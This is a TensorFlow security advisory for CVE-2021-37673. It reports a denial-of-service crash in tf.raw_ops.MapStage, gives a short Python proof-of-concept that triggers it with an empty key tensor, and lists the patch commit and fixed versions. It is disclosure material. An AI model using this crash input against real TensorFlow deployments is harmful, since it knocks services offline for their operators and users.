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TensorFlowGHSA-278g-rq84-9hmg

`CHECK`-fail in `MapStage`

TensorFlow

CVE-2021-37673 · Published Aug 25, 2021 · updated Jul 8, 2026

Medium5.5
Fix: upgrade to 2.3.4 or later (3 fixed versions below)
GitHub advisory

Impact

An attacker can trigger a denial of service via a CHECK-fail in tf.raw_ops.MapStage:

```python

import tensorflow as tf

tf.raw_ops.MapStage(

key=tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64),

indices=tf.constant((0), dtype=tf.int32),

values=[tf.constant((0), dtype=tf.int32)],

dtypes=[tf.int32,

tf.int64],

capacity=0,

memory_limit=0,

container='',

shared_name='')

`

The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/map_stage_op.cc#L513) does not check that the key input is a valid non-empty tensor.

Patches

We have patched the issue in GitHub commit [d7de67733925de196ec8863a33445b73f9562d1d](https://github.com/tensorflow/tensorflow/commit/d7de67733925de196ec8863a33445b73f9562d1d).

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.3.42.3.4
>= 2.4.0, < 2.4.32.4.3
>= 2.5.0, < 2.5.12.5.1
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